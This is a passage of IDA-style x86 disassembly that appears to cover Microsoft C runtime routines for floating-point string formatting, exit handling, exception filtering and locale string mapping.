loc_43072C:				; CODE XREF: sub_4306E1+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_43072C
		pop	esi
		retn
sub_4306E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_43073B	proc near		; CODE XREF: sub_42DC7D+3E2p
					; DATA XREF: sub_42A9A8+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_4535C8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_430757


loc_43074B:				; CODE XREF: sub_43073B+1Aj
		cmp	cl, dl
		jz	short loc_430757
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_43074B


loc_430757:				; CODE XREF: sub_43073B+Ej
					; sub_43073B+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_430788


loc_43075E:				; CODE XREF: sub_43073B+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_430771
		cmp	cl, 65h
		jz	short loc_430771
		cmp	cl, 45h
		jz	short loc_430771
		inc	eax
		jmp	short loc_43075E
; ---------------------------------------------------------------------------


loc_430771:				; CODE XREF: sub_43073B+27j
					; sub_43073B+2Cj ...
		mov	ecx, eax


loc_430773:				; CODE XREF: sub_43073B+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_430773
		cmp	[eax], dl
		jnz	short loc_43077E
		dec	eax


loc_43077E:				; CODE XREF: sub_43073B+40j
					; sub_43073B+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_43077E

locret_430788:				; CODE XREF: sub_43073B+21j
		retn
sub_43073B	endp


; =============== S U B	R O U T	I N E =======================================



sub_430789	proc near		; DATA XREF: sub_42A9A8+28o
					; .text:off_45382Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_437628
		fnstsw	ax
		sahf
		jb	short loc_43079E
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_43079E:				; CODE XREF: sub_430789+Fj
		xor	eax, eax
		retn
sub_430789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4307A1	proc near		; CODE XREF: sub_42E5F5+430p
					; DATA XREF: sub_42A9A8+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4307CA
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4344C2
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4307CA:				; CODE XREF: sub_4307A1+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4344EF
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_4307A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4307DF	proc near		; CODE XREF: sub_430A91+47p

var_3C		= qword	ptr -3Ch
var_28		= byte ptr -28h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+3Ch+var_3C]
		call	sub_434593
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	eax
		mov	edx, [ebp+arg_4]
		lea	eax, [esi+1]
		push	eax
		xor	eax, eax
		cmp	[ebp+var_10], 2Dh
		setz	al
		xor	ecx, ecx
		test	esi, esi
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_43451C
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		push	[ebp+arg_C]
		push	esi
		push	[ebp+arg_4]
		call	sub_430840
		mov	eax, [ebp+arg_4]
		add	esp, 30h
		pop	esi
		leave
		retn
sub_4307DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430840	proc near		; CODE XREF: sub_4307DF+53p
					; sub_4309FE+86p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_10], bl
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		mov	edi, [ebp+arg_0]
		jz	short loc_43086E
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnle	al
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, edi
		push	eax
		call	sub_430AE2
		pop	ecx
		pop	ecx


loc_43086E:				; CODE XREF: sub_430840+11j
		cmp	dword ptr [esi], 2Dh
		mov	eax, edi
		jnz	short loc_43087B
		mov	byte ptr [edi],	2Dh
		lea	eax, [edi+1]


loc_43087B:				; CODE XREF: sub_430840+33j
		cmp	[ebp+arg_4], ebx
		jle	short loc_430892
		mov	dl, [eax+1]
		lea	ecx, [eax+1]
		mov	[eax], dl
		mov	eax, ecx
		mov	cl, byte_4535C8
		mov	[eax], cl


loc_430892:				; CODE XREF: sub_430840+3Ej
		xor	ecx, ecx
		cmp	[ebp+arg_10], bl
		push	offset aE000	; "e+000"
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_42A5D0
		cmp	[ebp+arg_8], ebx
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_4308B6
		mov	byte ptr [ecx],	45h


loc_4308B6:				; CODE XREF: sub_430840+71j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_4308FB
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_4308CA
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_4308CA:				; CODE XREF: sub_430840+83j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_4308E1
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4308E1:				; CODE XREF: sub_430840+8Ej
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_4308F8
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4308F8:				; CODE XREF: sub_430840+A5j
		add	[ecx+1], bl


loc_4308FB:				; CODE XREF: sub_430840+7Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_430840	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430902	proc near		; CODE XREF: sub_430A91+1Ep

var_3C		= qword	ptr -3Ch
var_28		= byte ptr -28h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+3Ch+var_3C]
		call	sub_434593
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_C]
		add	eax, esi
		push	eax
		xor	eax, eax
		cmp	[ebp+var_10], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_43451C
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		push	esi
		push	[ebp+arg_4]
		call	sub_430957
		mov	eax, [ebp+arg_4]
		add	esp, 2Ch
		pop	esi
		leave
		retn
sub_430902	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430957	proc near		; CODE XREF: sub_430902+47p
					; sub_4309FE+6Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	eax, [esi+4]
		dec	eax
		cmp	[ebp+arg_C], 0
		jz	short loc_430987
		cmp	eax, [ebp+arg_4]
		jnz	short loc_430987
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0


loc_430987:				; CODE XREF: sub_430957+14j
					; sub_430957+19j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebx
		jnz	short loc_430994
		mov	byte ptr [ebx],	2Dh
		lea	edi, [ebx+1]


loc_430994:				; CODE XREF: sub_430957+35j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_4309AB
		push	1
		push	edi
		call	sub_430AE2
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_4309AD
; ---------------------------------------------------------------------------


loc_4309AB:				; CODE XREF: sub_430957+42j
		add	edi, eax


loc_4309AD:				; CODE XREF: sub_430957+52j
		cmp	[ebp+arg_4], 0
		jle	short loc_4309F7
		push	1
		push	edi
		call	sub_430AE2
		mov	al, byte_4535C8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_4309F7
		cmp	[ebp+arg_C], 0
		jz	short loc_4309D6
		neg	esi
		jmp	short loc_4309DD
; ---------------------------------------------------------------------------


loc_4309D6:				; CODE XREF: sub_430957+79j
		neg	esi
		cmp	[ebp+arg_4], esi
		jl	short loc_4309E0


loc_4309DD:				; CODE XREF: sub_430957+7Dj
		mov	[ebp+arg_4], esi


loc_4309E0:				; CODE XREF: sub_430957+84j
		push	[ebp+arg_4]
		push	edi
		call	sub_430AE2
		push	[ebp+arg_4]
		push	30h
		push	edi
		call	sub_429760
		add	esp, 14h


loc_4309F7:				; CODE XREF: sub_430957+5Aj
					; sub_430957+73j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_430957	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4309FE	proc near		; CODE XREF: sub_430A91+34p

var_44		= qword	ptr -44h
var_28		= byte ptr -28h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		lea	eax, [ebp+var_28]
		push	edi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+44h+var_44]
		call	sub_434593
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+arg_8]
		lea	esi, [eax-1]
		xor	eax, eax
		cmp	[ebp+var_10], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	edi
		call	sub_43451C
		mov	eax, [ebp+var_C]
		add	esp, 1Ch
		dec	eax
		cmp	esi, eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_430A77
		cmp	eax, ebx
		jge	short loc_430A77
		test	cl, cl
		jz	short loc_430A63


loc_430A59:				; CODE XREF: sub_4309FE+60j
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_430A59
		and	[edi-2], al


loc_430A63:				; CODE XREF: sub_4309FE+59j
		lea	eax, [ebp+var_10]
		push	1
		push	eax
		push	ebx
		push	[ebp+arg_4]
		call	sub_430957
		add	esp, 10h
		jmp	short loc_430A8C
; ---------------------------------------------------------------------------


loc_430A77:				; CODE XREF: sub_4309FE+51j
					; sub_4309FE+55j
		lea	eax, [ebp+var_10]
		push	1
		push	eax
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		call	sub_430840
		add	esp, 14h


loc_430A8C:				; CODE XREF: sub_4309FE+77j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4309FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430A91	proc near		; CODE XREF: sub_42DC7D+3AAp
					; DATA XREF: sub_42A9A8o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_430ACC
		cmp	[ebp+arg_8], 45h
		jz	short loc_430ACC
		cmp	[ebp+arg_8], 66h
		jnz	short loc_430AB9
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_430902
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430AB9:				; CODE XREF: sub_430A91+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4309FE
		jmp	short loc_430ADD
; ---------------------------------------------------------------------------


loc_430ACC:				; CODE XREF: sub_430A91+7j
					; sub_430A91+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4307DF


loc_430ADD:				; CODE XREF: sub_430A91+39j
		add	esp, 10h
		pop	ebp
		retn
sub_430A91	endp


; =============== S U B	R O U T	I N E =======================================



sub_430AE2	proc near		; CODE XREF: sub_430840+27p
					; sub_430957+47p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_430B05
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_4293A0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_42BA90
		add	esp, 10h
		pop	esi


loc_430B05:				; CODE XREF: sub_430AE2+7j
		pop	edi
		retn
sub_430AE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_430B07	proc near		; CODE XREF: .text:0042C619p
		mov	eax, off_450E68
		test	eax, eax
		jz	short loc_430B12
		call	eax ; sub_42A990


loc_430B12:				; CODE XREF: sub_430B07+7j
		push	offset dword_43A028
		push	offset dword_43A014
		call	sub_430C0D
		push	offset dword_43A010
		push	offset dword_43A000
		call	sub_430C0D
		add	esp, 10h
		retn
sub_430B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_430B34	proc near		; CODE XREF: .text:0042C658p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_430B56
		add	esp, 0Ch
		retn
sub_430B34	endp


; =============== S U B	R O U T	I N E =======================================



sub_430B45	proc near		; CODE XREF: .text:0042AC86p
					; .text:0042C677p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_430B56
		add	esp, 0Ch
		retn
sub_430B45	endp


; =============== S U B	R O U T	I N E =======================================



sub_430B56	proc near		; CODE XREF: sub_430B34+8p
					; sub_430B45+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		call	sub_430BFB
		push	1
		pop	edi
		cmp	dword_676A0C, edi
		jnz	short loc_430B78
		push	[esp+4+arg_0]
		call	dword_43704C	; GetCurrentProcess
		push	eax
		call	dword_437118	; TerminateProcess


loc_430B78:				; CODE XREF: sub_430B56+Fj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_676A08, edi
		mov	byte_676A04, bl
		jnz	short loc_430BCC
		mov	eax, dword_676ED4
		test	eax, eax
		jz	short loc_430BBB
		mov	ecx, dword_676ED0
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_430BBA


loc_430BA7:				; CODE XREF: sub_430B56+62j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430BAF
		call	eax


loc_430BAF:				; CODE XREF: sub_430B56+55j
		sub	esi, 4
		cmp	esi, dword_676ED4
		jnb	short loc_430BA7


loc_430BBA:				; CODE XREF: sub_430B56+4Fj
		pop	esi


loc_430BBB:				; CODE XREF: sub_430B56+41j
		push	offset dword_43A034
		push	offset dword_43A02C
		call	sub_430C0D
		pop	ecx
		pop	ecx


loc_430BCC:				; CODE XREF: sub_430B56+38j
		push	offset dword_43A040
		push	offset dword_43A038
		call	sub_430C0D
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jz	short loc_430BE9
		call	sub_430C04
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B56+8Aj
		push	[esp+4+arg_0]
		mov	dword_676A0C, edi
		call	dword_4370D4	; ExitProcess
		pop	edi
		retn
sub_430B56	endp


; =============== S U B	R O U T	I N E =======================================



sub_430BFB	proc near		; CODE XREF: sub_42B7EB+1p
					; sub_430B56+1p
		push	0Dh
		call	sub_42DAEF
		pop	ecx
		retn
sub_430BFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_430C04	proc near		; CODE XREF: sub_42B7EB:loc_42B860p
					; sub_430B56+8Cp
		push	0Dh
		call	sub_42DB50
		pop	ecx
		retn
sub_430C04	endp


; =============== S U B	R O U T	I N E =======================================



sub_430C0D	proc near		; CODE XREF: sub_430B07+15p
					; sub_430B07+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_430C12:				; CODE XREF: sub_430C0D+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_430C25
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430C20
		call	eax


loc_430C20:				; CODE XREF: sub_430C0D+Fj
		add	esi, 4
		jmp	short loc_430C12
; ---------------------------------------------------------------------------


loc_430C25:				; CODE XREF: sub_430C0D+9j
		pop	esi
		retn
sub_430C0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430C27	proc near		; CODE XREF: .text:0042AC78p
					; .text:0042C669p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		call	sub_42E4EE
		mov	esi, eax
		push	dword ptr [esi+50h]
		push	[ebp+arg_0]
		call	sub_430D65
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_430D58
		mov	ebx, [eax+8]
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	loc_430D58
		cmp	ebx, 5
		jnz	short loc_430C68
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_430D61
; ---------------------------------------------------------------------------


loc_430C68:				; CODE XREF: sub_430C27+33j
		cmp	ebx, 1
		jz	loc_430D53
		mov	ecx, [esi+54h]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_4]
		mov	[esi+54h], ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_430D45
		mov	edx, dword_4538B0
		mov	ecx, dword_4538B4
		add	ecx, edx
		push	edi
		cmp	edx, ecx
		jge	short loc_430CC3
		lea	ecx, [edx+edx*2]
		shl	ecx, 2


loc_430CA2:				; CODE XREF: sub_430C27+97j
		mov	edi, [esi+50h]
		add	ecx, 0Ch
		and	dword ptr [ecx+edi-4], 0
		mov	edi, dword_4538B0
		mov	ebx, dword_4538B4
		inc	edx
		add	ebx, edi
		cmp	edx, ebx
		jl	short loc_430CA2
		mov	ebx, [ebp+arg_0]


loc_430CC3:				; CODE XREF: sub_430C27+73j
		mov	eax, [eax]
		mov	edi, [esi+58h]
		cmp	eax, 0C000008Eh
		jnz	short loc_430CD8
		mov	dword ptr [esi+58h], 83h
		jmp	short loc_430D36
; ---------------------------------------------------------------------------


loc_430CD8:				; CODE XREF: sub_430C27+A6j
		cmp	eax, 0C0000090h
		jnz	short loc_430CE8
		mov	dword ptr [esi+58h], 81h
		jmp	short loc_430D36
; ---------------------------------------------------------------------------


loc_430CE8:				; CODE XREF: sub_430C27+B6j
		cmp	eax, 0C0000091h
		jnz	short loc_430CF8
		mov	dword ptr [esi+58h], 84h
		jmp	short loc_430D36
; ---------------------------------------------------------------------------


loc_430CF8:				; CODE XREF: sub_430C27+C6j
		cmp	eax, 0C0000093h
		jnz	short loc_430D08
		mov	dword ptr [esi+58h], 85h
		jmp	short loc_430D36
; ---------------------------------------------------------------------------


loc_430D08:				; CODE XREF: sub_430C27+D6j
		cmp	eax, 0C000008Dh
		jnz	short loc_430D18
		mov	dword ptr [esi+58h], 82h
		jmp	short loc_430D36
; ---------------------------------------------------------------------------


loc_430D18:				; CODE XREF: sub_430C27+E6j
		cmp	eax, 0C000008Fh
		jnz	short loc_430D28
		mov	dword ptr [esi+58h], 86h
		jmp	short loc_430D36
; ---------------------------------------------------------------------------


loc_430D28:				; CODE XREF: sub_430C27+F6j
		cmp	eax, 0C0000092h
		jnz	short loc_430D36
		mov	dword ptr [esi+58h], 8Ah


loc_430D36:				; CODE XREF: sub_430C27+AFj
					; sub_430C27+BFj ...
		push	dword ptr [esi+58h]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+58h], edi
		pop	ecx
		pop	edi
		jmp	short loc_430D4D
; ---------------------------------------------------------------------------


loc_430D45:				; CODE XREF: sub_430C27+5Cj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_430D4D:				; CODE XREF: sub_430C27+11Cj
		mov	eax, [ebp+var_4]
		mov	[esi+54h], eax


loc_430D53:				; CODE XREF: sub_430C27+44j
		or	eax, 0FFFFFFFFh
		jmp	short loc_430D61
; ---------------------------------------------------------------------------


loc_430D58:				; CODE XREF: sub_430C27+1Cj
					; sub_430C27+2Aj
		push	[ebp+arg_4]
		call	dword_4371F0	; UnhandledExceptionFilter


loc_430D61:				; CODE XREF: sub_430C27+3Cj
					; sub_430C27+12Fj
		pop	esi
		pop	ebx
		leave
		retn
sub_430C27	endp


; =============== S U B	R O U T	I N E =======================================



sub_430D65	proc near		; CODE XREF: sub_430C27+13p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	ecx, dword_4538BC
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	[edx], esi
		push	edi
		mov	eax, edx
		jz	short loc_430D8C
		lea	edi, [ecx+ecx*2]
		lea	edi, [edx+edi*4]


loc_430D81:				; CODE XREF: sub_430D65+25j
		add	eax, 0Ch
		cmp	eax, edi
		jnb	short loc_430D8C
		cmp	[eax], esi
		jnz	short loc_430D81


loc_430D8C:				; CODE XREF: sub_430D65+14j
					; sub_430D65+21j
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [edx+ecx*4]
		cmp	eax, ecx
		jnb	short loc_430D9A
		cmp	[eax], esi
		jz	short loc_430D9C


loc_430D9A:				; CODE XREF: sub_430D65+2Fj
		xor	eax, eax


loc_430D9C:				; CODE XREF: sub_430D65+33j
		pop	edi
		pop	esi
		retn
sub_430D65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430D9F	proc near		; CODE XREF: sub_42AF20+C5p
					; sub_42AF20+F3p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437678
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_676A10, edi
		jnz	short loc_430E15
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_437670
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_4371E8	; LCMapStringW
		test	eax, eax
		jz	short loc_430DF3
		mov	dword_676A10, ebx
		jmp	short loc_430E15
; ---------------------------------------------------------------------------


loc_430DF3:				; CODE XREF: sub_430D9F+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_454038
		push	esi
		push	edi
		call	dword_4371EC	; LCMapStringA
		test	eax, eax
		jz	loc_430F2D
		mov	dword_676A10, 2


loc_430E15:				; CODE XREF: sub_430D9F+2Ej
					; sub_430D9F+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_430E2A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_435D62
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_430E2A:				; CODE XREF: sub_430D9F+79j
		mov	eax, dword_676A10
		cmp	eax, 2
		jnz	short loc_430E51
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4371EC	; LCMapStringA
		jmp	loc_430F2F
; ---------------------------------------------------------------------------


loc_430E51:				; CODE XREF: sub_430D9F+93j
		cmp	eax, 1
		jnz	loc_430F2D
		cmp	[ebp+arg_18], edi
		jnz	short loc_430E67
		mov	eax, dword_6769B8
		mov	[ebp+arg_18], eax


loc_430E67:				; CODE XREF: sub_430D9F+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_437184	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_430F2D
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_429B60
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_430EC2
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_430EC2:				; CODE XREF: sub_430D9F+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_430F2D
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_437184	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_430F2D
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4371E8	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_430F2D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_430F41
		cmp	[ebp+arg_14], edi
		jz	loc_430FBC
		cmp	esi, [ebp+arg_14]
		jg	short loc_430F2D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4371E8	; LCMapStringW
		test	eax, eax
		jnz	loc_430FBC


loc_430F2D:				; CODE XREF: sub_430D9F+66j
					; sub_430D9F+B5j ...
		xor	eax, eax


loc_430F2F:				; CODE XREF: sub_430D9F+ADj
					; sub_430D9F+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_430F41:				; CODE XREF: sub_430D9F+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_429B60
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_430F75
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_430F75:				; CODE XREF: sub_430D9F+1C2j
		cmp	ebx, edi
		jz	short loc_430F2D
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4371E8	; LCMapStringW
		test	eax, eax
		jz	short loc_430F2D
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_430F9C
		push	edi
		push	edi
		jmp	short loc_430FA2
